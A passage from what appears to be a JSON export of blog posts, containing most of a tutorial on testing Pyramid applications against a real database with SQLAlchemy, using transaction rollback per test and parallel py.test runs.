2011\u003c/p\u003e","category":"Development","date":"2011-05-06T19:00:00-05:00","tags":["Vim","Python"],"title":"Turning Vim into a modern Python IDE"},{"id":["old","writing_tests_for_pyramid_and_sqlalchemy"],"path":"old/writing_tests_for_pyramid_and_sqlalchemy","contentHtml":"\u003cp\u003eTL;DR: Putting it all together, the full code can be found here:\n\u003ca href=\"https://gist.github.com/1420255\"\u003ehttps://gist.github.com/1420255\u003c/a\u003e\u003c/p\u003e\n\u003ch1\u003eIntro\u003c/h1\u003e\n\u003cp\u003ePyramid's documentation doesn't cover the preferred way to test with\nSQLAlchemy, because Pyramid tries to stay out of your way and allow you\nto make your own decisions. However, I feel i'ts necessary to document\nwhat I think is the best way to test.\u003c/p\u003e\n\u003cp\u003eWhen I first started writing tests with SQLAlchemy I found plenty of\nexamples of how to to get started by doing something like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e db \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e session \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# probably a contextbound sessionmaker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e db \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e model\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sqlalchemy \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e create_engine\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003esetup\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    engine \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e create_engine(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sqlite:///test.db'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    session.configure(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebind\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eengine)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    model.metadata.create_all(engine)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eteardown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    model.metadata.drop_all(engine)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etest_something\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003epass\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI have seen this done so many times, but I feel there is so much wrong\nwith it! So let's establish some base rules when testing:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eAlways test your system like it would be used in production.\nSQLite does not enforce the same rules or have the same features\nas Postgres or MySQL and will allow tests to pass that would\notherwise fail in production.\u003c/li\u003e\n\u003cli\u003eTests should be fast! You should be writing tests for all your\ncode. This is the main reason people do test against SQLite, but\nwe can't violate rule number one. We have to make sure tests\nagainst Postgres are fast, so we shouldn't be tearing down and\nrecreating tables for every single test.\u003c/li\u003e\n\u003cli\u003eYou should be able to execute in parallel to speed up when you\nhave thousands of tests. Dropping and creating tables per test\nwould not work in a parallel environment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFor an example, I have a project with 600+ tests and it would take 2 and\nhalf minutes to execute running against SQLite. But when we swapped our\ntest configuration to execute against Postgres, testing took well over\nan hour. That is unacceptable!\u003c/p\u003e\n\u003cp\u003eBut running them in parallel will give us a huge speed up. Check out the\nresults of the tests running in single proc mode vs using all 4 cores:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ py.test\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e======= 616 passed in 143.67 seconds =======\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ py.test -n4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e======= 616 passed in 68.12 seconds =======\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eThe right way\u003c/h1\u003e\n\u003cp\u003eSo what is the proper way to setup your tests? You should initialize the\ndatabase when you start your test runner and then use transactions to\nrollback any data changes your tests made. This allows you to keep a\nclean database for each test in a very efficient way.\u003c/p\u003e\n\u003cp\u003eIn py.test, you just have to create a file called conftest.py that looks\nsimilar to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eROOT_PATH\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.path.dirname(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__file__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003epytest_sessionstart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e py.test \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Only run database setup on master (in case of xdist/multiproc mode)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ehasattr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(config, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'slaveinput'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e models \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e initialize_sql\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e pyramid.config \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Configurator\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e paste.deploy.loadwsgi \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e appconfig\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sqlalchemy \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e engine_from_config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eROOT_PATH\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.path.dirname(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__file__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        settings \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e appconfig(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'config:'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.path.join(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eROOT_PATH\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'test.ini'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        engine \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e engine_from_config(settings, \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eprefix\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sqlalchemy.'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Creating the tables on the test database \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%s\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e engine\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        config \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Configurator(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esettings\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003esettings)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        initialize_sql(settings, config)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith py.test, when you are running in parallel mode, the\npytest_sessionstart hook gets fired for each node, so we check that we\nare on the master node. Then we just grab our test.ini configuration\nfile and execute the initialize_sql function.\u003c/p\u003e\n\u003cp\u003eNow that you have your initial test configuration finished, you have to\ndefine a base test class that does the transaction management in setUp\nand teardown.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the Base testing class what will manage our\ntransactions:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e unittest\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e pyramid \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e testing\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e paste.deploy.loadwsgi \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e appconfig\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e webtest \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e TestApp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e mock \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Mock\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sqlalchemy \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e engine_from_config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sqlalchemy.orm \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sessionmaker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e app.db \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Session\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e app.db \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Entity  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# base declarative object\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e app \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e main\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003ehere \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.path.dirname(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__file__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003esettings \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e appconfig(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'config:'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.path.join(here, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'../../'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'test.ini'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eBaseTestCase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eunittest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTestCase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003e@\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eclassmethod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003esetUpClass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(cls):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ecls\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.engine \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e engine_from_config(settings, \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eprefix\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sqlalchemy.'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ecls\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.Session \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sessionmaker()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003esetUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        connection \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.engine.connect()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# begin a non-ORM transaction\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.trans \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e connection.begin()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# bind an individual Session to the connection\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        Session.configure(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebind\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003econnection)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.Session(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebind\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003econnection)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        Entity.session \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etearDown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# rollback - everything that happened with the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Session above (including calls to commit())\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# is rolled back.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        testing.tearDown()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.trans.rollback()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session.close()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis base test case will wrap all your sessions in an external\ntransaction so that you still have the ability to call flush/commit/etc\nand it will still be able to rollback any data changes you make.\u003c/p\u003e\n\u003ch1\u003eUnit 